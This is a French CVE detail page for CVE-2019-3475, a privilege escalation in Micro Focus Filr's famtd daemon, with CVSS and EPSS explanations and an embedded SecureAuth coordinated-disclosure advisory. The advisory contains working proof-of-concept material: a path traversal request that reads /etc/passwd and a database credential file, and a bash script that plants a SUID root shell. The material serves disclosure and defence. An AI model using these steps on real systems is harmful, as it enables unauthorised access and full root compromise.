CVE-2019-3475 : Détail

CVE-2019-3475

7.8
/
Haute
Improper Privilege Management
A01-Broken Access ControlA04-Insecure Design
0.04%V3
Local
2019-02-20
21h00 +00:00
2021-01-06
15h16 +00:00
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Descriptions du CVE

Local privilege escalation in Filr famtd

A local privilege escalation vulnerability in the famtd component of Micro Focus Filr 3.0 allows a local attacker authenticated as a low privilege user to escalate to root. This vulnerability affects all versions of Filr 3.x prior to Security Update 6.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
CWE-269 Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 46450

Date de publication : 2019-02-21 23h00 +00:00
Auteur : SecureAuth
EDB Vérifié : Yes

SecureAuth - SecureAuth Labs Advisory http://www.secureauth.com/ Micro Focus Filr Multiple Vulnerabilities 1. *Advisory Information* Title: Micro Focus Filr Multiple Vulnerabilities Advisory ID: SAUTH-2019-0001 Advisory URL: https://www.secureauth.com/labs/advisories/micro-focus-filr-multiple-vulnerabilities Date published: 2019-02-20 Date of last update: 2019-02-20 Vendors contacted: Micro Focus Release mode: Coordinated release 2. *Vulnerability Information* Class: Path traversal [CWE-22], Permissions, Privileges, and Access Control [CWE-264] Impact: Security bypass, Information leak Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2019-3474, CVE-2019-3475 3. *Vulnerability Description* Novell (now part of Micro Focus [1]) website states that: Micro Focus Filr [2] provides file access and sharing, and lets users access their home directories and network folders from desktops, mobile devices, and the Web. Users can also synchronize their files to their PC or Mac. Changes that they make to downloaded copies are kept in sync with the originals on their network file servers. And finally, users can also share files internally and externally, and those with the share can collaborate with each other by commenting on the files. A vulnerability was found in the Micro Focus Filr Appliance, which would allow an attacker with regular user access to read arbitrary files of the filesystem. Furthermore, a vulnerability in the famtd daemon could allow a local attacker to elevate privileges. 4. *Vulnerable Packages* . Micro Focus Filr 3.4.0.217. . Older versions are probably affected too, but they were not checked. 5. *Vendor Information, Solutions and Workarounds* Micro Focus released Filr 3.0 Security Update 6 that addresses the reported issues: https://download.novell.com/Download?buildid=nZUCSDkvpxk~ Also, Micro Focus published the following Security Notes: . https://support.microfocus.com/kb/doc.php?id=7023726 . https://support.microfocus.com/kb/doc.php?id=7023727 6. *Credits* These vulnerabilities were discovered and researched by Matias Choren from SecureAuth. The publication of this advisory was coordinated by Leandro Cuozzo from SecureAuth Advisories Team. 7. *Technical Description / Proof of Concept Code* 7.1. *Path Traversal* [CVE-2019-3474] The 'filename' parameter of the '/ssf/f/viewFile' endpoint is vulnerable to Path Traversal attacks. An authenticated, low-privileged user may be able to abuse this functionality in order to read arbitrary files on the filesystem. Proof of Concept: 1. As an authenticated user, upload a sample PDF file in the 'My Files' section. 2. After the upload finishes, click on the small arrow next to the file -> 'View Details'. 3. The browser will issue a few requests to the web application, one of them being the one used for displaying the thumbnail of the file we've just uploaded. This request has the following structure: /----- GET /ssf/s/viewFile?binderId=44&entryId=1&entityType=folderEntry&fileId=8a82ada06851d92d016852b727f26b1b&viewType=image&filename=t154758084657912375035546628304890001.jpg -----/ 4. If the 'viewType' parameter is set to 'image', as in this case, we can escape the current directory and include arbitrary files, as long as they are readable by the 'wwwrun' user (the user Apache Tomcat is currently running as). For example, we could read the '/etc/passwd' file: /----- GET /ssf/s/viewFile?binderId=44&entryId=1&entityType=folderEntry&fileId=8a82ada06851d92d016852b727f26b1b&viewType=image&filename=../../../../../../../../../../../etc/passwd HTTP/1.1 Host: 10.2.45.32:8443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=803689DA9BA5DA9CBA2B7DD246A50531 Connection: close -----/ /----- HTTP/1.1 200 OK Expires: Thu, 01 Jan 1970 00:00:00 GMT X-UA-Compatible: IE=Edge X-Content-Type-Options: nosniff Cache-Control: no-cache Strict-Transport-Security: max-age=0 X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Type: image/jpeg Date: Mon, 21 Jan 2019 14:53:37 GMT Connection: close Server: Filr Content-Length: 1506 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/bin/bash <...> -----/ 5. Also, an interesting file to look for would be '/vastorage/conf/vaconfig.zip'. This zip file contains a bunch of different configuration files, including 'mysql-liquibase.properties' which, among other things, defines connection parameters such as the username and password (base64 encoded) for the MySQL database: /----- referencePassword==?UTF-8?B?Zmlscg==?= referenceUrl=jdbc:mysql://localhost:3306/filr?useUnicode=true&characterEncoding=UTF-8 url=jdbc:mysql://localhost:3306/filr?useUnicode=true&characterEncoding=UTF-8 password==?UTF-8?B?Zmlscg==?= driver=com.mysql.jdbc.Driver referenceUsername=filr referenceDriver=com.mysql.jdbc.Driver username=filr -----/ 7.2. *Local Privilege Escalation* [CVE-2019-3475] As per the description: 'novell-famtd provide CIFS & NCP file access support for Filr server to request and respond to HTTP request coming from Filr Client/ Browser'. This daemon runs during startup and can be abused to elevate privileges on a Filr appliance. Proof of Concept: 1. The 'famtd' binary located at '/opt/novell/filr/bin/' and its containing folder are owned by the 'wwwrun' user, as can be seen next: /----- wwwrun@filr:/opt/novell/filr/bin> ls -lha total 196K drwxr-x--- 2 wwwrun www 4,0K ene 21 17:22 . drwxr-x--- 8 wwwrun www 4,0K ene 14 18:41 .. -rwxr-x--- 1 wwwrun www 23K feb 8 2017 famtconfig -rwxr-x--- 1 wwwrun www 117K ene 14 18:19 famtd -rwxr-x--- 1 wwwrun www 905 feb 8 2017 famt_log_config.sh -rwxr-x--- 1 wwwrun www 31K jun 21 2018 kablink-teaming-tools.jar wwwrun@filr:/opt/novell/filr/bin> -----/ 2. This binary is referenced and later executed in the '/etc/init.d/novell-famtd' init script, meaning that it will run with root privileges on startup: /----- # # /etc/init.d/novell-famtd # <...> # Check for missing binaries (stale symlinks should not happen) # Note: Special treatment of stop for LSB conformance FAMT_BIN=/opt/novell/filr/bin/famtd <...> ## Start daemon with startproc(8). If this fails ## the return value is set appropriately by startproc. ulimit -c unlimited /sbin/startproc $FAMT_BIN <...> -----/ 3. If an attacker manages to run arbitrary commands on the Filr appliance as the 'wwwrun' user, they could replace the '/opt/novell/filr/bin/famtd' binary with, for example, a custom bash script that writes a SUID backdoor on the filesystem: /----- #!/bin/bash # C snippet for setting group and user identity to 'root' FILE="/tmp/exp.c" /bin/cat <<EOM >$FILE #include <unistd.h> int main(void) { setgid(0); setuid(0); setegid(0); execl("/bin/bash", "bash", 0); } EOM # Compile it gcc /tmp/exp.c -o /tmp/exp # Set suid bit chmod -c 4755 /tmp/exp # Call the original famtd daemon /opt/novell/filr/bin/famtd.back -----/ 4. After a server reboot, we can run '/tmp/exp' and get root privileges on the server: /----- wwwrun@filr:/tmp> id uid=30(wwwrun) gid=8(www) groups=8(www) wwwrun@filr:/tmp> ls -lha total 96K drwxrwxrwt 18 root root 4,0K ene 21 17:15 . drwxr-xr-x 27 root root 4,0K ene 21 14:14 .. <...> -rwsr-xr-x 1 root root 12K ene 21 17:14 exp -rw-r--r-- 1 root root 137 ene 21 14:14 exp.c <...> wwwrun@filr:/tmp> ./exp filr:/tmp # id uid=0(root) gid=0(root) groups=0(root),8(www) filr:/tmp # -----/ 8. *Report Timeline* 2019-01-23: SecureAuth sent an initial notification to Micro Focus including a draft advisory. 2019-01-23: Micro Focus acknowledged reception of initial contact. 2019-01-24: Micro Focus confirmed the reported vulnerabilities and informed that they were aiming to deliver a patch around mid February. 2019-01-23: SecureAuth thanks the reply. 2019-02-11: SecureAuth asked for an update. 2019-02-11: Micro Focus replied saying that they were expecting to release the patch by the end of the week. 2019-02-11: SecureAuth proposed to set the publication date for next week. 2019-02-13: Micro Focus confirmed February 20th as the release date. 2019-02-20: Advisory SAUTH-2019-0001 published. 9. *References* [1] https://www.microfocus.com/novell/ [2] https://www.novell.com/documentation/filr-3/filr-overvw/data/what_is_filr.html 10. *About SecureAuth Labs* SecureAuth Labs, the research arm of SecureAuth Corporation, is charged with anticipating the future needs and requirements for information security technologies. We conduct research in several important areas of computer security, including identity-related attacks, system vulnerabilities and cyber-attack planning. Research includes problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. We regularly publish security advisories, primary research, technical publications, research blogs, project information, and shared software tools for public use at http://www.secureauth.com. 11. *About SecureAuth* SecureAuth is leveraged by leading companies, their employees, their customers and their partners to eliminate identity-related breaches. As a leader in access management, SecureAuth is powering an identity security revolution by enabling people and devices to intelligently and adaptively access systems and data, while effectively keeping bad actors from doing harm. By ensuring the continuous assessment of risk and enablement of trust, SecureAuth's highly flexible platform makes it easier for organizations to prevent the misuse of credentials. To learn more, visit www.secureauth.com, call (949) 777-6959, or email us at [email protected] 12. *Disclaimer* The contents of this advisory are copyright (c) 2019 SecureAuth, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License:

Products Mentioned

Configuraton 0

Microfocus>>Filr >> Version 3.0

Microfocus>>Filr >> Version 3.0

Microfocus>>Filr >> Version 3.0

Microfocus>>Filr >> Version 3.0

Microfocus>>Filr >> Version 3.0

Microfocus>>Filr >> Version 3.0

Suse>>Suse_linux_enterprise_server >> Version 11

Références

https://www.exploit-db.com/exploits/46450/
Tags : exploit, x_refsource_EXPLOIT-DB